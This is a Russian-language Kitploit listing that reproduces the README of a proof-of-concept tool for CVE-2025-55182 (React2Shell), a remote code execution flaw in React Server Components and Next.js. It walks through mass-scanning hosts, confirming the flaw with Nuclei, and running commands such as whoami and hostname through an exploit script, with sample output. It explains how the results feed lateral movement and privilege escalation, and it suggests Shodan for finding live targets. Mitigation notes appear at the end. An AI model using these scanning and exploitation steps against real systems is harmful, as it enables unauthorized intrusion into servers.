Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
React2Shell-PoC-CVE-2025-55182 — Khai thác lỗ hổng bảo mật CVE-2025-55182 | Kitploit
Инструменты/GitHubGitHub/litndat/react2shell-poc-cve-2025-55182
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationLearning & EducationRemote Access ToolLabs & Practice
GitHublitndat/react2shell-poc-cve-2025-55182

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

React2Shell-PoC-CVE-2025-55182

Khai thác lỗ hổng bảo mật CVE-2025-55182

Репозиторий
1 месяц назадЕщё не проверено

Симуляция эксплуатации React2Shell (CVE-2025-55182)

Примечание:

  • Этот документ предназначен только для учебных целей и исследований в области безопасности.
  • Не используйте для атаки на системы без разрешения.

1. Обзор

CVE-2025-55182, также известная как React2Shell, — это критическая уязвимость удаленного выполнения кода (RCE), затрагивающая React Server Components (RSC). Она использует протокол Flight для связи между клиентом и сервером. Когда клиент запрашивает данные, сервер получает полезную нагрузку, анализирует ее, что может позволить злоумышленнику внедрить вредоносные структуры или произвольный код, который React считает допустимым.

ПунктСодержание
УровеньCritical (CVSS 10.0)
ТипUnsafe Deserialization (CWE-502)
Метод атакиУдаленный, без аутентификации
Затронутые версии:React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 и Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6

2. Причина

Сервер обрабатывает полезную нагрузку от клиента без полной проверки, что позволяет атакующему:

  • Внедрить вредоносную полезную нагрузку
  • Выполнить код на сервере
  • Быть эксплуатируемым без аутентификации пользователя, так как это уязвимость до аутентификации.

Эксплуатация этой уязвимости была обнаружена с 5 декабря 2025 года. Большинство успешных эксплуатаций исходят из оценок атакующих групп. Затронуты как среда Windows, так и Linux.

3. Эксперимент

Установка

root@kitploit:~
pip install -r requirements.txt

Сканирование уязвимого сервера:

root@kitploit:~
python3 scanner.py -u https://example.com

Введите путь для сканирования (здесь я ввожу свой уязвимый сервер http://192.168.10.1:3000)

image

Полученный результат:

image
root@kitploit:~
╰─ python3 scanner.py -u http://192.168.10.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://192.168.10.1:3000 - Status: 303

Кроме того, можно сканировать в зависимости от ваших целей эксплуатации:

Сканирование списка хостов:

root@kitploit:~
python3 scanner.py -l hosts.txt

Сканирование с несколькими потоками и сохранением результатов:

root@kitploit:~
python3 scanner.py -l hosts.txt -t 20 -o results.json

Сканирование с пользовательскими заголовками:

root@kitploit:~
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

Сканирование целей под Windows:

root@kitploit:~
python3 scanner.py -u https://example.com --windows

Использование безопасного метода обнаружения по побочному каналу:

root@kitploit:~
python3 scanner.py -u https://example.com --safe-check
image

Как вы видите, мы столкнулись с уязвимостью безопасности, что означает, что наш сервер уязвим для атак злоумышленника.


Nuclei

Теперь мы используем Nuclei, чтобы проверить, имеет ли сервер уязвимость с PoC. Эта функция работает путем отправки пользовательских запросов, минимизации ложных срабатываний и поддержки параллельного сканирования.

root@kitploit:~
nuclei -t scan.yaml -u http://192.168.10.1:3000

Полученный результат

root@kitploit:~
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
image

Система обнаружила, что этот сервер уязвим и может быть эксплуатирован через CVE-2025-55182. Отсюда видно, что это довольно опасная и важная уязвимость, для которой уже много PoC в социальных сетях. ☺☺☺

4. Метод эксплуатации

Как видите, достаточно этой информации, чтобы подтвердить существование уязвимости в приложении. Чтобы доказать, что это приложение может быть использовано для выполнения команды или удаленного выполнения кода, я запущу PoC.

root@kitploit:~
chmod +x scanner.sh

Использование

root@kitploit:~
# Проверка, уязвим ли хост
./datscan.sh -d example.com

# Выполнение команды для проверки текущего пользователя
./datscan.sh -d example.com -c "whoami"

# С полным URL
./datscan.sh -d example.com -c "uname -a"
image

Значение:

  • Возвращает текущего пользователя, под которым работает процесс сервера
  • Помогает определить:
    • под каким пользователем работает приложение
    • уровень привилегий (низкие или администратор)

=> Это самая базовая команда для подтверждения успешного RCE

Примечание

  • -d, --domain — домен/URL
  • -c, --command — Команда для выполнения (напр.: whoami, hostname,...)

Пример

root@kitploit:~
# Проверка имени хоста
./datscan.sh -d http://192.168.10.1:3000/ -c hostname  

# Определение версии ОС
./datscan.sh -d http://192.168.10.1:3000/ -c ver 

# Проверка стабильности выполнения команд
./datscan.sh -c "echo test"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"

ИЗОБРАЖЕНИЕ ПОСЛЕ ВЫПОЛНЕНИЯ

image

Это этап начальной разведки после успешной эксплуатации.

Помогает нам подтвердить: RCE работает, определить ОС,...

ВНИМАНИЕ

Поскольку в этом эксперименте я демонстрирую в личной лабораторной среде, чтобы избежать нарушения закона, использование HTTP-заголовков для кражи данных, больших выводов или специальных символов может вызвать:

  • ERR_INVALID_CHAR
  • Уменьшение ответа
  • Тайм-ауты
image

Короткие команды (например, whoami, ver) более надежны для демонстрации в тестовой среде.

Если не хотите, можете использовать Shodan для проверки IP-адресов в реальной среде и сделать так, как в моем эксперименте выше, для эксплуатации (не рекомендуется).

image

Как уже отмечалось выше. Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте этот инструмент для тестирования систем, которыми вы не владеете или на которые у вас нет разрешения.

5. Некоторые способы устранения уязвимости

  • Не доверяйте данным от клиента
  • Строгая проверка ввода
  • Обновление версий
    • React: >= 19.0.1 / 19.1.2 / 19.2.1
    • Next.js: >= 15.0.5 / 16.0.7

6. Дополнительные ссылки

  • CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/
Скачать инструмент
Значение команд выполненияСодержание
Возвращает имя хостаИспользуется для:
- идентификации затронутой системы
- для lateral movement (во внутренней среде)
Определение версии ОСВажно для:
- оценки возможности дальнейшей эксплуатации (повышение привилегий)
- выбора подходящего эксплойта
Проверка выполнения командДля отладки полезной нагрузки / сканера
Возвращает текущее имя пользователяВ данном случае:
- пользователь ADMIN → возможны высокие привилегии
- важнее, чем whoami в некоторых случаях на Windows
Возвращает имя хостаВозвращает имя хоста через переменную окружения